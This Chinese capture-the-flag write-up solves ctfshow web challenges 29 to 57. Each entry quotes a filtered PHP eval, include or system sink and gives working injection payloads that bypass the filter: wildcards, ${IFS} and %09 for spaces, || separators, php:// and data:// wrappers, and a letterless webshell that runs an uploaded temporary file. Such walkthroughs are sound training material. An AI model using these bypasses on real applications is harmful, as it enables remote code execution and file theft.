web29:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}
利用函數:eval()
繞過思路:通配符繞過flag過濾
Payload1:/?c=system(“ls”);
#找到flag.php
Payload2:/?c=system(“cat fla*”);
web30
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函數:eval()
繞過思路:過濾了system,這里使用echo。flag,php過濾繼續用通配符繞過。
Payload1:?c=echo `cat *`;
web31
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函數:eval()
繞過思路:過濾了system,這里使用echo。flag,php過濾繼續用通配符繞過。空格用%09繞過,cat被過濾了換成tac。
Payload1:?c=echo `tac%09*`;
web32
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}
利用函數:eval()
繞過思路:過濾了system,echo,這里可以使用passthru,但是這次還過濾了括號,所以passthru也沒有辦法用,這里使用文件包含,通過php://filter協議進行讀取文件。
Payload1: c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web32-web36
payload相同,不再贅述。
web37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}
利用函數:include()
繞過思路:文件包含常用攻擊手法,偽協議讀取文件內容
Payload1: ?c=data:text/plain,<?=system("tac fla*");?>
web37-web39
相同payload
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}
利用函數:eval()
繞過思路:過濾了數字和許多東西,但是沒有過濾掉英文的括號。
print_r(scandir(‘.’)); 查看當前目錄下的所有文件名 ,開始構造。
localeconv() 函數返回一包含本地數字及貨幣格式信息的數組,第一個值為”.”。
current() 函數返回數組中的當前元素(單元),默認取第一個值,pos是current的別名 ,讀取目錄文件后,發現輸出的是數組,而文件名是數組中的值,下一步我們需要取出想要讀取文件的數組.
each() 返回數組中當前的鍵/值對並將數組指針向前移動一步
end() 將數組的內部指針指向最后一個單元
next() 將數組中的內部指針向前移動一位
prev() 將數組中的內部指針倒回一位
array_reverse() 以相反的元素順序返回數組
需要知識點齊了,觀察flag.php在倒數第二位,我們開始構造。#current(localeconv()) == getcwd()
Payload1: ?c=print_r(scandir(current(localeconv())));
#打印當前目錄下的文件
Payload2:?c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}
利用函數:echo
繞過思路:把數字和字母都給過濾了,這里的思路是構造system(“ls”),但是字母被過濾。沒有過濾“|”,利用它構造。
Payload1: 腳本參考yu師傅
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,我們通過“;”進行截斷,回顯出flag.
Payload1: ls;
Payload2: cat flag.php;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷。
Payload1: ls||
Payload2: tac flag.php||
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,又多過濾了flag,用通配符繞過。
Payload1: ls||
Payload2: tac fla*||
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。
Payload1: ls||
Payload2: tac%09fla*||
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。過濾了*,用“?”代替。
Payload1: ls||
Payload2: tac%09fla?.php||
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。過濾了*,用“?”代替。又多過濾了幾個讀取文件的命令,繼續使用上題的payload,tac沒有過濾。
Payload1: ls||
Payload2: tac%09fla?.php||
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}
繼續使用上題payload.
web49
繼續使用上題payload
web50
如上
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,使用<>進行繞過。過濾了*,用“?”代替,但是讀不出來,使用“\”繞過。又多過濾了幾個讀取文件的命令,tac也給過濾了,我們使用nl或者ta\c進行繞過。
Payload1: ls||
Payload2: ta\c<>fla\g.php||
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函數:system()
繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,<>也被過濾了無法進行繞過,使用${IFS}繞過。過濾了*,用“?”代替,但是讀不出來,使用“\”繞過。又多過濾了幾個讀取文件的命令,tac也給過濾了,我們使用nl或者ta\c進行繞過。
Payload1: ls||
Payload2: ?c=ta\c${IFS}../../../fla?||
web53
同上,不用||截斷了
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
利用函數:system()
繞過思路:過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,<>也被過濾了無法進行繞過,使用${IFS}繞過。過濾了*,用“?”代替。又多過濾了幾個讀取文件的命令,tac也給過濾了,無法使用ta\c進行過濾了。所以這里我們使用grep.在flag.php中查找帶有show字符串的一行(因為flag的格式為ctfshow{})
Payload1: ?c=grep${IFS}show${IFS}fl?g.php
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
利用函數:system()
繞過思路:這里沒有禁用數字所以我們可以使用base64命令
Payload1: ?c=/???/????64 ????.???
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
利用函數:system()
繞過思路:無字母數字webshell。在linux shell中,.可以用當前的shell執行一個文件中的命令,比如.file就是執行file文件中的命令。所以本題可以post上傳一個包含命令的文件,然后通過.來執行文件中的命令即可讀到flag。
但有個問題,怎么去找到我們上傳的文件呢?
當我們post上傳一個文件后,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機生成的大小寫字母。想當然的我們會用/???/?????????去匹配這個文件。
這里又會出現一個問題:符合這樣的文件有好幾個,這樣其實匹配不到剛剛上傳的文件。
翻閱p神文章可以知道,與正則表達式類似,glob支持利用[0-9]來表示一個范圍,所以我們可以用[A-Z]來匹配文件的最后一位,但因為過濾了字母,需要把A改為A的前一位@,把Z改為Z的后一位[來匹配大寫字母。
那么最終payload為c=. /???/????????[@-[]
這里說下為什么要匹配大寫字母,因為其實用/???/?????????匹配到的其他文件都是小寫字母,只有php臨時生成的文件才包含大寫字母,不過因為是隨機生成的大寫字母,不一定每次都是大寫,可以多試幾下。
分析完畢,接下來開始操作
首先上傳一個文件,腳本如下
<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
bp抓包,改參數,如下圖:
web57
/flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}
利用函數:system()
繞過思路:過濾了通配符,無法進行無數字字母webshell,system中已經寫好cat和php,所以我們只需要構造出36即可。在shell中可以利用$和()進行構造數字,詳情見python腳本。
Payload1: 見python腳本
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)